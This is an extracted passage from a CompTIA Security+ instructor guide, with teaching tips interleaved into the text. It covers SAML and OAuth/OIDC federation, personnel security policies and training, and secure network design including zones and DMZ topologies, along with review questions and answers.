students understand user identity assertions and transmit attestations between the principal, the relying
that it allows services party, and the identity provider. Security Assertions Markup Language (SAML) is
to be separated from
identity providers
one such solution. SAML attestations (or authorizations) are written in eXtensible
and not have to Markup Language (XML). Communications are established using HTTP/HTTPS and the
authenticate users Simple Object Access Protocol (SOAP). These secure tokens are signed using the XML
directly. The service signature specification. The use of a digital signature allows the relying party to trust
provider does not the identity provider.
authenticate the user;
it obtains an assertion As an example of a SAML implementation, Amazon Web Services (AWS) can function
from the identity as a SAML service provider. This allows companies using AWS to develop cloud
provider that it has applications to manage their customers' user identities and provide them with
authenticated the
user.
permissions on AWS without having to create accounts for them on AWS directly.
Students should also <samlp:Response
be recognize the xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
general format of
SAML attestations/ xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
assertions. ID="200" Version="2.0"

Lesson 8: Implementing Identity and Account Management Controls | Topic 8C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 205

IssueInstant="2020-01-01T20:00:10Z "
Destination="https://sp.foo/saml/acs"
InResponseTo="100".
<saml:Issuer>https://idp.foo/sso</saml:Issuer>
<ds:Signature>...</ds:Signature>
<samlp:Status>...(success)...</samlp:Status.
<saml:Assertion xmlns:xsi="http://www.w3.org/2001/
XMLSchema-instance"
xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="2000"
Version="2.0"
IssueInstant="2020-01-01T20:00:09Z">
<saml:Issuer>https://idp.foo/sso</saml:Issuer>
<ds:Signature>...</ds:Signature>
  <saml:Subject>...
  <saml:Conditions>...
   <saml:AudienceRestriction>...
   <saml:AuthnStatement>...
   <saml:AttributeStatement>
      <saml:Attribute>...
      <saml:Attribute>...
   </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response> Show Slide(s)

OAuth and OpenID

OAuth and OpenID Connect Connect
Many public clouds use application programming interfaces (APIs) based on Teaching
Representational State Transfer (REST) rather than SOAP. These are often called Tip
RESTful APIs. Where SOAP is a tightly specified protocol, REST is a looser architectural
Stress that an OAuth
framework. This allows the service provider more choice over implementation client is not the user.
elements. Compared to SOAP and SAML, there is better support for mobile apps. It is a website or
mobile app interacting
OAuth with an OAuth IdP or
resource server.
Authentication and authorization for a RESTful API is often implemented using the There are two
Open Authorization (OAuth) protocol. OAuth is designed to facilitate sharing versions of OAuth.
of information (resources) within a user profile between sites. The user creates a Also, OpenID is
password-protected account at an identity provider (IdP). The user can use that a separate, older
account to log on to an OAuth consumer site without giving the password to the protocol to OIDC.
Detailed knowledge of
consumer site. A user (resource owner) can grant a client an authorization to access older versions should
some part of their account. A client in this context is an app or consumer site. not be required for
the exam, but you
The user account is hosted by one or more resource servers. A resource server is
might want to make
also called an API server because it hosts the functions that allow clients (consumer students aware of
sites and mobile apps) to access user attributes. Authorization requests are processed them (developer.okta.
by an authorization server. A single authorization server can manage multiple com/blog/2019/10/21/
resource servers; equally the resource and authorization server could be the same illustrated-guide-to-
server instance. oauth-and-oidc).

Lesson 8: Implementing Identity and Account Management Controls | Topic 8C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 206 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

The client app or service must be registered with the authorization server. As part of
this process, the client registers a redirect URL, which is the endpoint that will process
authorization tokens. Registration also provides the client with an ID and a secret.
The ID can be publicly exposed, but the secret must be kept confidential between the
client and the authorization server. When the client application requests authorization,
the user approves the authorization server to grant the request using an appropriate
method. OAuth supports several grant types—or flows—for use in different contexts,
such as server to server or mobile app to server. Depending on the flow type, the
client will end up with an access token validated by the authorization server. The client
presents the access token to the resource server, which then accepts the request for
the resource if the token is valid.
OAuth uses the JavaScript object notation (JSON) web token (JWT) format for claims
data. JWTs can easily be passed as Base64-encoded strings in URLs and HTTP headers
and can be digitally signed for authentication and integrity.

OpenID Connect (OIDC)

OAuth is explicitly designed to authorize claims and not to authenticate users. The
implementation details for fields and attributes within tokens are not defined. There
is no mechanism to validate that a user who initiated an authorization request is
still logged on and present. The access token once granted has no authenticating
information. Open ID Connect (OIDC) is an authentication protocol that can be
implemented as special types of OAuth flows with precisely defined token fields.

Note that OpenID can also refer to an earlier protocol developed between 2005 and 2007.
This implemented a similar framework and underpinned early "sign on with" functionality,
but is now regarded as obsolete. OpenID uses XML-format messaging and supports only
web applications and not mobile apps.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 207

Review Activity:
Authorization Solutions
Answer the following questions:

1. What are the advantages of a decentralized, discretionary access control

policy over a mandatory access control policy?

It is easier for users to adjust the policy to fit changing business needs. Centralized
policies can easily become inflexible and bureaucratic.

2. What is the difference between security group- and role-based permissions

management?

A group is simply a container for several user objects. Any organizing principle can be
applied. In a role-based access control system, groups are tightly defined according to
job functions. Also, a user should (logically) only possess the permissions of one role at
a time.

3. In a rule-based access control model, can a subject negotiate with the data
owner for access privileges? Why or why not?

This sort of negotiation would not be permitted under rule-based access control; it is a
feature of discretionary access control.

4. What is the purpose of directory services?

To store information about network resources and users in a format that can be
accessed and updated using standard queries.

5. True or false? The following string is an example of a distinguished name:

CN=ad, DC=classroom,DC=com

True.

6. You are working on a cloud application that allows users to log on with
social media accounts over the web and from a mobile application. Which
protocols would you consider and which would you choose as most
suitable?

Security Association Markup Language (SAML) and Oauth + OpenID Connect (OIDC).
OAuth with OIDC as an authentication layer offers better support for native mobile
apps so is probably the best choice.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 208 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 8D
Explain the Importance
of Personnel Policies

Teaching EXAM OBJECTIVES COVERED

Tip 5.3 Explain the importance of policies to organizational security
While students
should understand
the uses and reasons
As well as implementing technical controls for identity and account management, you
for applying these
policies, these content will need to make sure that your personnel follow appropriate security procedures and
examples are quite policies. The human element can represent a significant attack surface, especially when
straightforward. Try social engineering attacks are involved. As a security professional, you will work with
not to spend too a human resources (HR) department to assist with the formulation of policies and the
long on this topic, or development and delivery of security awareness and training programs.
designate it for self-
study.

Show Slide(s)
Conduct Policies
Operational policies include privilege/credential management, data handling, and
Conduct Policies incident response. Other important security policies include those governing employee
conduct and respect for privacy.

Acceptable Use Policy

Enforcing an acceptable use policy (AUP) is important to protect the organization
from the security and legal implications of employees misusing its equipment.
Typically, the policy will forbid the use of equipment to defraud, defame, or to obtain
illegal material. It will prohibit the installation of unauthorized hardware or software
and explicitly forbid actual or attempted snooping of confidential data that the
employee is not authorized to access. Acceptable use guidelines must be reasonable
and not interfere with employees' fundamental job duties or privacy rights. An
organization's AUP may forbid use of Internet tools outside of work-related duties or
restrict such use to break times.

Code of Conduct and Social Media Analysis

A code of conduct, or rules of behavior, sets out expected professional standards.
For example, employees' use of social media and file sharing poses substantial risks
to the organization, including threat of virus infection or systems intrusion, lost work
time, copyright infringement, and defamation. Users should be aware that any data
communications, such as email, made through an organization's computer system
are likely stored within the system, on servers, backup devices, and so on. Such
communications are also likely to be logged and monitored. Employers may also
subject employees' personal social media accounts to analysis and monitoring, to
check for policy infringements.
Rules of behavior are also important when considering employees with privileged
access to computer systems. Technicians and managers should be bound by clauses
that forbid them from misusing privileges to snoop on other employees or to disable a
security mechanism.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 209

Use of Personally Owned Devices in the Workplace

Portable devices, such as smartphones, USB sticks, media players, and so on, pose
a considerable threat to data security, as they make file copy so easy. Camera and
voice recording functions are other obvious security issues. Network access control,
endpoint management, and data loss prevention solutions can be of some use in
preventing the attachment of such devices to corporate networks. Some companies
may try to prevent staff from bringing such devices on site. This is quite difficult to
enforce, though.
Also important to consider is the unauthorized use of personal software by employees
or employees using software or services that has not been sanctioned for a project
(shadow IT). Personal software may include either locally installed software or
hosted applications, such as personal email or instant messenger, and may leave the
organization open to a variety of security vulnerabilities. Such programs may provide
a route for data exfiltration, a transport mechanism for malware, or possibly software
license violations for which the company might be held liable, just to name a few of the
potential problems.

Clean Desk Policy

A clean desk policy means that each employee's work area should be free from any
documents left there. The aim of the policy is to prevent sensitive information from
being obtained by unauthorized staff or guests at the workplace.

User and Role-Based Training Show Slide(s)

Another essential component of a secure system is effective user training. Untrained User and Role-Based
users represent a serious vulnerability because they are susceptible to social Training
engineering and malware attacks and may be careless when handling sensitive or
confidential data.

Train users in secure behavior. (Image by dotshock © 123RF.com.)

Lesson 8: Implementing Identity and Account Management Controls | Topic 8D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 210 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Appropriate security awareness training needs to be delivered to employees at all

levels, including end users, technical staff, and executives. Some of the general topics
that need to be covered include the following:
• Overview of the organization's security policies and the penalties for non-
compliance.

• Incident identification and reporting procedures.

• Site security procedures, restrictions, and advice, including safety drills, escorting
guests, use of secure areas, and use of personal devices.

• Data handling, including document confidentiality, PII, backup, encryption, and so

on.

• Password and account management plus security features of PCs and mobile
devices.

• Awareness of social engineering and malware threats, including phishing, website

exploits, and spam plus alerting methods for new threats.

• Secure use of software such as browsers and email clients plus appropriate use of
Internet access, including social networking sites.

There should also be a system for identifying staff performing security-sensitive

roles and grading the level of training and education required (between beginner,
intermediate, and advanced, for instance). Note that in defining such training
programs you need to focus on job roles, rather than job titles, as employees may
perform different roles and have different security training, education, or awareness
requirements in each role.

The NIST National Initiative for Cybersecurity Education framework (nist.gov/itl/applied-

cybersecurity/nice) sets out knowledge, skills, and abilities (KSAAs) for different cybersecurity
roles. Security awareness programs are described in SP800-50 (nvlpubs.nist.gov/nistpubs/
Legacy/SP/nistspecialpublication800-50.pdf).

Show Slide(s) Diversity of Training Techniques

Diversity of Training
It is necessary to frame security training in language that end users will respond to.
Techniques Education should focus on responsibilities and threats that are relevant to users. It is
necessary to educate users about new or emerging threats (such as fileless malware,
phishing scams, or zero-day exploits in software), but this needs to be stated in
language that users understand.
Using a diversity of training techniques helps to improve engagement and retention.
Training methods include facilitated workshops and events, one-on-one instruction and
mentoring, plus resources such as computer-based or online training, videos, books,
and blogs/newsletters.

Phishing Campaigns
A phishing campaign training event means sending simulated phishing messages to
users. Users that respond to the messages can be targeted for follow-up training.

Capture the Flag

Capture the Flag (CTF) is usually used in ethical hacker training programs and
gamified competitions. Participants must complete a series of challenges within a
virtualized computing environment to discover a flag. The flag will represent either
threat actor activity (for blue team exercises) or a vulnerability (for red team exercises)

Lesson 8: Implementing Identity and Account Management Controls | Topic 8D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 211

and the participant must use analysis and appropriate tools to discover it. Capturing
the flag allows the user to progress to the next level and start a new challenge. Once
the participant has passed the introductory levels, they will join a team and participate
in a competitive event, where there are multiple flags embedded in the environment
and capturing them wins points for the participant and for their team.

Computer-Based Training and Gamification

Participants respond well to the competitive challenge of CTF events. This type of
gamification can be used to boost security awareness for other roles too. Computer-
based training (CBT) allows a student to acquire skills and experience by completing
various types of practical activities:
• Simulations—recreating system interfaces or using emulators so students can
practice configuration tasks.

• Branching scenarios—students choose between options to find the best choices to

solve a cybersecurity incident or configuration problem.

CBT might use video game elements to improve engagement. For example, students
might win badges and level-up bonuses such as skills or digitized loot to improve
their in-game avatar. Simulations might be presented so that the student chooses
encounters from a map and engages with a simulation environment in a first person
shooter type of 3D world.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 212 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Importance of Personnel Policies
Answer the following questions:

1. Your company has been the victim of several successful phishing attempts
over the past year. Attackers managed to steal credentials from these
attacks and used them to compromise key systems. What vulnerability
contributed to the success of these social engineers, and why?

A lack of proper user training directly contributes to the success of social engineering
attempts. Attackers can easily trick users when those users are unfamiliar with the
characteristics and ramifications of such deception.

2. Why should an organization design role-based training programs?

Employees have different levels of technical knowledge and different work priorities.
This means that a "one size fits all" approach to security training is impractical.

3. You are planning a security awareness program for a manufacturer. Is a

pamphlet likely to be sufficient in terms of resources?

Using a diversity of training techniques will boost engagement and retention. Practical
tasks, such as phishing simulations, will give attendees more direct experience.
Workshops or computer-based training will make it easier to assess whether the
training has been completed.

Lesson 8: Implementing Identity and Account Management Controls | Topic 8D

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 213

Lesson 8
Summary
You should be able to apply organizational and technical policies and training/ Teaching
awareness programs that reduce the risk of insider threat and account compromise. Tip
You should also be able to implement discretionary or rule-based access control Check that students
as appropriate and use protocols to communicate authorizations across federated are confident about
identity networks. the content that has
been covered. If there
is time, re-visit any
Guidelines for Implementing Identity and content examples that
they have questions
Account Management Controls about. If you have
used all the available
Follow these guidelines when you implement identity and account management time for this lesson
controls for local networks and cloud access: block, note the issues,
and schedule time for
• Establish requirements for access control between discretionary, role-based, a review later in the
mandatory, and attribute-based and whether the scope must include federated course.
services (on-premises and cloud, for instance).
Interaction
• Configure accounts/roles and resources with the appropriate permissions settings, Opportunity
using the principle of least privilege. Optionally, ask
students if they have
• Configure account policies to protect integrity: experience of single
sign-on with cloud
• Credential policies to ensure protection of standard and privileged accounts, apps, and whether
including secure password selection. they are aware of the
implementation that
• Credential policies to manage shared, device, and third-party/API secrets. it uses.

• Account controls to apply conditional access based on location and time.

• Organizational policies to apply separation of duties and ensure role-specific

security awareness and training.

• Establish onboarding procedures to issue digital identities and account credentials

securely.

• Establish auditing procedures to review account usage and allocation of

permissions.

• Establish offboarding procedures to remove access privileges when employees or

contractors leave the company.

• Implement SAML or OAuth/OIDC to facilitate single sign-on between on-premises

networks and cloud services/applications.

Lesson 8: Implementing Identity and Account Management Controls

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Lesson 9
Implementing Secure Network Designs

LESSON INTRODUCTION Teaching

Tip
Managing user authentication and authorization is only one part of building secure So far you have
information technology services. The network infrastructure must also be designed covered some of the
to run services with the properties of confidentiality, integrity, and availability. main threat types,
While design might not be a direct responsibility for you at this stage in your career, ways of scanning for
you should understand the factors that underpin design decisions, and be able to security violations and
vulnerabilities, and
implement a design by deploying routers, switches, access points, and load balancers
the basis of access
in secure configurations. control systems. The
middle part of the
Lesson Objectives course covers secure
network architecture
and infrastructure.
In this lesson, you will: There is some overlap
• Implement secure network designs. between Network+
and Security+ in topics
• Implement secure routing and switching. such as switching
and VLANs, routing,
• Implement secure wireless infrastructure. firewalls, wireless
security, and mobile
• Implement load balancers. device security. Try to
ensure that students
are up-to-date on their
Network+ knowledge.
Encourage them to
review some of the
material before class.

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 216 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Topic 9A
Implement Secure Network Designs

Teaching EXAM OBJECTIVES COVERED

Tip 3.3 Given a scenario, implement secure network designs
Objective 3.3 covers
a wide range of
disparate concepts
and technologies. While you may not be responsible for network design in your current role, it is
Consequently, its
important that you understand the vulnerabilities that can arise from weaknesses in
content examples are
split between several network architecture, and some of the general principles for ensuring a well-designed
lessons and topics, network. This will help you to contribute to projects to improve resiliency and to make
though we cover the recommendations for improvements.
bulk of them through
lessons 9 and 10.
Secure Network Designs
Show
Slide(s) A secure network design provisions the assets and services underpinning business
workflows with the properties of confidentiality, integrity, and availability. Weaknesses
Secure Network
Designs in the network architecture make it more susceptible to undetected intrusions or to
catastrophic service failures. Typical weaknesses include:
Teaching • Single points of failure—a "pinch point" relying on a single hardware server or
Tip appliance or network channel.
SAFE architecture is
not listed in the exam • Complex dependencies—services that require many different systems to be
objectives, but it is a available. Ideally, the failure of individual systems or services should not affect the
good starting point for
overall performance of other network services.
network design.
• Availability over confidentiality and integrity—often it is tempting to take "shortcuts"
to get a service up and running. Compromising security might represent a quick fix
but creates long term risks.

• Lack of documentation and change control—network segments, appliances, and

services might be added without proper change control procedures, leading to a
lack of visibility into how the network is constituted. It is vital that network managers
understand business workflows and the network services that underpin them.

• Overdependence on perimeter security—if the network architecture is "flat" (that

is, if any host can contact any other host), penetrating the network edge gives the
attacker freedom of movement.

Cisco's SAFE architecture (cisco.com/c/en/us/solutions/enterprise/design-zone-security/

landing_safe.html#~overview) is a good starting point for understanding the complex
topic of network architecture design. The SAFE guidance refers to places in the network
(PIN). These represent types of network locations, including campus networks, branch
offices, data centers, and the cloud. There are two special locations in these networks—
Internet Edge and WAN—that facilitate connections between locations and with
untrusted networks.
Each PIN can be protected with security controls and capabilities, classified into a
series of secure domains, such as threat defense, segmentation, security intelligence,
and management.

Lesson 9: Implementing Secure Network Designs | Topic 9A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 217

Business Workflows and Network Architecture Show

Slide(s)
Network architecture is designed to support business workflows. You can illustrate the Business Workflows
sorts of decisions that need to be made by analyzing a simple workflow, such as email: and Network
Architecture
• Access—the client device must access the network, obtaining a physical channel
and logical address. The user must be authenticated and authorized to use the
Teaching
email application. The corollary is that unauthorized users and devices must be
Tip
denied access.
Stress the point that
• Email mailbox server—ensure that the mailbox is only accessed by authorized the network is there to
clients and that it is fully available and fault tolerant. Ensure that the email service meet business goals.
The network should
runs with a minimum number of dependencies and that the service is designed to
be designed around
be resilient to faults. business logic.

• Mail transfer server—this must connect with untrusted Internet hosts, so

communications between the untrusted network and trusted LAN must be carefully
controlled. Any data or software leaving or entering the network must be subject to
policy-based controls.

You can see that this type of business flow will involve systems in different places in
the network. Placing the client, the mailbox, and the mail transfer server all within the
same logical network "segment" will introduce many vulnerabilities. Understanding and
controlling how data flows between these locations is a key part of secure and effective
network design.

Network Appliances Show

Slide(s)
A number of network appliances are involved in provisioning a network architecture: Network Appliances
• Switches—forward frames between nodes in a cabled network. Switches work at
layer 2 of the OSI model and make forwarding decisions based on the hardware Teaching
or Media Access Control (MAC) address of attached nodes. Switches can establish Tip
network segments that either map directly to the underlying cabling or to logical This section is
segments, created in the switch configuration as virtual LANs (VLANs). intended as a brief
primer for students
who have not
When designing and troubleshooting a network, it is helpful to compartmentalize functions completed Network+.
to discrete layers. The Open Systems Interconnection (OSI) model is a widely quoted You will not need
example of how to define layers of network functions. to spend time on it
otherwise.
The OSI model does
• Wireless access points—provide a bridge between a cabled network and wireless get mentioned in the
clients, or stations. Access points work at layer 2 of the OSI model. Security+ syllabus
(though later on, in the
• Routers—forward packets around an internetwork, making forwarding decisions context of deploying
based on IP addresses. Routers work at layer 3 of the OSI model. Routers can apply firewalls to the cloud)
logical IP subnet addresses to segments within a network. so students will need
to know the layer
• Firewalls—apply an access control list (ACL) to filter traffic passing in or out of a IDs. We have omitted
layers 5 and 6 from
network segment. Firewalls can work at layer 3 of the OSI model or higher. the diagram, however.
You might want to
• Load balancers—distribute traffic between network segments or servers to optimize point out the much
performance. Load balancers can work at layer 4 of the OSI model or higher. simpler four layer TCP/
IP model.
• Domain Name System (DNS) servers—host name records and perform name
resolution to allow applications and users to address hosts and services using fully
qualified domain names (FQDNs) rather than IP addresses. DNS works at layer 7
of the OSI model. Name resolution is a critical service in network design. Abuse of
name resolution is a common attack vector.

Lesson 9: Implementing Secure Network Designs | Topic 9A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 218 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Appliances, protocols, and addressing functions within the OSI network layer reference model.
(Images © 123RF.com.)

Show Routing and Switching Protocols

Slide(s)
Routing and Switching
The basic function of a network is to forward traffic from one node to another. A
Protocols number of routing and switching protocols are used to implement forwarding. The
forwarding function takes place at two different layers:
Teaching
• Layer 2 forwarding occurs between nodes on the same local network segment that
Tip
are all in the same broadcast domain. At layer 2, a broadcast domain is either all the
This section is
nodes connected to the same physical unmanaged switch, or all the nodes within a
intended as a brief
primer for students virtual LAN (VLAN) configured on one or more managed switches. At layer 2, each
who have not node is identified by the network interface's hardware or Media Access Control
completed Network+. (MAC) address. A MAC address is a 48-bit value written in hexadecimal notation,
You will not need such as 00-15-5D-F4-83-48.
to spend time on it
otherwise. • Layer 3 forwarding, or routing, occurs between both logically and physically defined
networks. A single network divided into multiple logical broadcast domains is said to
be subnetted. Multiple networks joined by routers form an internetwork. At layer 3,
nodes are identified by an Internet Protocol (IP) address.

Address Resolution Protocol (ARP)

The Address Resolution Protocol (ARP) maps a network interface's hardware (MAC)
address to an IP address. Normally a device that needs to send a packet to an IP
address but does not know the receiving device's MAC address broadcasts an ARP
Request packet, and the device with the matching IP responds with an ARP Reply.

Lesson 9: Implementing Secure Network Designs | Topic 9A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 219

ARP in action—An ARP broadcast is used when there is no MAC:IP mapping in the cache and is
received by all hosts on the same network, but only the host with the requested
IP should reply. (Images © 123RF.com.)

Internet Protocol (IP)

IP provides the addressing mechanism for logical networks and subnets. A 32-bit IPv4
address is written in dotted decimal notation, with either a network prefix or subnet
mask to divide the address into network ID and host ID portions. For example, in the
IP address 172.16.1.101/16, the /16 prefix indicates that the first half of the address
(172.16.0.0) is the network ID, while the remainder uniquely identifies a host on that
network. This /16 prefix can also be written as a subnet mask in the form 255.255.0.0. Show
Networks also use 128-bit IPv6 addressing. IPv6 addresses are written using hex Slide(s)
notation in the general format: 2001:db8::abc:0:def0:1234. In IPv6, the last 64-bits Network Segmentation
are fixed as the host's interface ID. The first 64-bits contain network information in
a set hierarchy. For example, an ISP's routers can use the first 48-bits to determine Teaching
where the network is hosted on the global Internet. Within that network, the site Tip
administrator can use the 16-bits remaining (out of 64) to divide the local network into Note that segment
subnets. can take on different
meanings depending
on the network layer
Routing Protocols context. This definition
ignores the lower level
Information about how to reach individual networks within an internetwork is
concept of collision
processed by routers, which store the data in a routing table. A route to a network can domains.
be configured statically, but most networks use routing protocols to transmit new The basic point is to
and updated routes between routers. Some common routing protocols include Border create blocks where
Gateway Protocol (BGP), Open Shortest Path First (OSPF), Enhanced Interior hosts within the
Gateway Routing Protocol (EIGRP), and Routing Information Protocol (RIP). segment are free
to communicate
with one another,
Network Segmentation but communication
between segments
A network segment is one where all the hosts attached to the segment can use local is subject to access
(layer 2) forwarding to communicate freely with one another. The hosts are said to be policies.

Lesson 9: Implementing Secure Network Designs | Topic 9A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 220 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

within the same broadcast domain. Segregation means that the hosts in one segment
are restricted in the way they communicate with hosts in other segments. They might
only be able to communicate over certain network ports, for instance.

"Freely" means that no network appliances or policies are preventing communications. Each
host may be configured with access rules or host firewalls or other security tools to prevent
access, but the "view from the network" is that hosts in the same segment are all free to
attempt to communicate.

Assuming an Ethernet network, network segments can be established physically by

connecting all the hosts in one segment to one switch and all the hosts in another
segment to another switch. The two switches can be connected by a router and
the router can enforce network policies or access control lists (ACL) to restrict
communications between the two segments.
Because enterprise networks typically feature hundreds of switching appliances and
network ports (not to mention wireless access and remote access), segmentation is
more likely to be enforced using virtual LANs (VLANs). Any given switch port can be
assigned to any VLAN in the same topology, regardless of the physical location of
the switch. The segmentation enforced by VLANs at layer 2 can be mapped to logical
divisions enforced by IP subnets at layer 3.

Show Network Topology and Zones

Slide(s)
Network Topology and
Given the ability to create segregated segments with the network, you can begin to
Zones define a topology of different network zones. A topology is a description of how a
computer network is physically or logically organized. The logical and physical network
Teaching topology should be analyzed to identify points of vulnerability and to ensure that the
Tip goals of confidentiality, integrity, and availability are met by the design.
Note that zone is The main building block of a security topology is the zone. A zone is an area of the
a wholly logical
network where the security configuration is the same for all hosts within it. Zones
concept. A zone is
a combination of a should be segregated from one another by physical and/or logical segmentation, using
VLAN, subnet, and VLANs and subnets. Traffic between zones should be strictly controlled using a security
access control list. device, typically a firewall.
Dividing a campus network or data center into zones implies that each zone has a
different security configuration. The main zones are as follows:
• Intranet (private network)—this is a network of trusted hosts owned and
controlled by the organization. Within the intranet, there may be sub-zones for
different host groups, such as servers, employee workstations, VoIP handsets, and
management workstations.

Hosts are trusted in the sense that they are under your administrative control and subject to
the security mechanisms (anti-virus software, user rights, software updating, and so on) that
you have set up to defend the network.

• Extranet—this is a network of semi-trusted hosts, typically representing business

partners, suppliers, or customers. Hosts must authenticate to join the extranet.

• Internet/guest—this is a zone permitting anonymous access (or perhaps a mix of

anonymous and authenticated access) by untrusted hosts over the Internet.

A large network may need more zones to represent different host groups, such as
separating wireless stations from desktop workstations, and putting servers in their
own groups. Cisco's enterprise security architecture uses core and distribution layers
to interconnect access blocks, with each access block representing a different zone and
business function.

Lesson 9: Implementing Secure Network Designs | Topic 9A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 221

Enterprise security architecture. (Images © 123RF.com.)

Demilitarized Zones Show

Slide(s)
The most important distinction between different security zones is whether a host Demilitarized Zones
is Internet-facing. An Internet-facing host accepts inbound connections from and
makes connections to hosts on the Internet. Internet-facing hosts are placed in one Teaching
or more demilitarized zones (DMZs). A DMZ is also referred to as a perimeter or Tip
edge network. The basic principle of a DMZ is that traffic cannot pass directly through Point out that when
it. A DMZ enables external clients to access data on private systems, such as web a DMZ is used for a
servers, without compromising the security of the internal network as a whole. If remote access VPN,
communication is required between hosts on either side of a DMZ, a host within the you are allowing
DMZ acts as a proxy. For example, if an intranet host requests a connection with a traffic through, but
only where it is fully
web server on the Internet, a proxy in the DMZ takes the request and checks it. If the authenticated and
request is valid, it retransmits it to the destination. External hosts have no idea about subject to access
what (if anything) is behind the DMZ. controls.
Both extranet and Internet services are likely to be Internet-facing. The hosts that
provide the extranet or public access services should be placed in one or more
demilitarized zones. These would typically include web servers, mail and other
communications servers, proxy servers, and remote access servers. The hosts in a
DMZ are not fully trusted by the internal network because of the possibility that they
could be compromised from the Internet. They are referred to as bastion hosts and
run minimal services to reduce the attack surface as much as possible. A bastion host
would not be configured with any data that could be a security risk to the internal
network, such as user account credentials.
It is quite likely that more than one DMZ will be required as the services that run in
them may have different security requirements:
• A DMZ hosting proxies or secure web gateways to allow employees access to web
browsing and other Internet services.

Lesson 9: Implementing Secure Network Designs | Topic 9A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 222 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• A DMZ hosting communication servers, such as email, VoIP, and conferencing.

• A DMZ for servers providing remote access to the local network via a Virtual Private
Network (VPN).

• A DMZ hosting traffic for authorized cloud applications.

• A multi-tier DMZ to isolate front-end, middleware, and backend servers.

Show Demilitarized Zone Topologies

Slide(s)
Demilitarized Zone
To configure a DMZ, two different security configurations must be enabled: one on
Topologies the external interface and one on the internal interface. A DMZ and intranet are on
different subnets, so communications between them need to be routed.

Screened Subnet
A screened subnet uses two firewalls placed on either side of the DMZ. The edge
firewall restricts traffic on the external/public interface and allows permitted traffic
to the hosts in the DMZ. The edge firewall can be referred to as the screening firewall
or router. The internal firewall filters communications between hosts in the DMZ and
hosts on the LAN. This firewall is often described as the choke firewall. A choke point
is a purposefully narrow gateway that facilitates better access control and easier
monitoring.

A screened subnet DMZ topology. (Images © 123RF.com.)

Triple-Homed Firewall
A DMZ can also be established using one router/firewall appliance with three network
interfaces, referred to as triple-homed. One interface is the public one, another is the
DMZ, and the third connects to the LAN. Routing and filtering rules determine what
forwarding is allowed between these interfaces. This can achieve the same sort of
configuration as a screened subnet.

Lesson 9: Implementing Secure Network Designs | Topic 9A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 223

A triple-homed firewall DMZ topology. (Images © 123RF.com.)

Screened Hosts Show

Slide(s)
Smaller networks may not have the budget or technical expertise to implement a Screened Hosts
DMZ. In this case, Internet access can still be implemented using a dual-homed proxy/
gateway server acting as a screened host. Teaching
Tip
For example, see this
Netgear technical
note: (kb.netgear.
com/1118/How-do-I-
configure-a-device-to-
be-in-the-DMZ-on-my-
NETGEAR-router). Tell
students they should
be aware of this (mis)
use of the term for the
certification exam.

A screened host. (Images © 123RF.com.)

Sometimes the term DMZ (or "DMZ host") is used by SOHO router vendors to mean
a host on the local network that accepts connections from the Internet. This might be
simpler to configure and solve some access problems, but it makes the whole network
very vulnerable to intrusion and DoS. An enterprise DMZ is established by a separate
network interface and subnet so that traffic between hosts in the DMZ and the LAN
must be routed (and subject to firewall rules). Most SOHO routers do not have the
necessary ports or routing functionality to create a true DMZ.

Lesson 9: Implementing Secure Network Designs | Topic 9A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 224 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Implications of IPv6

Slide(s)
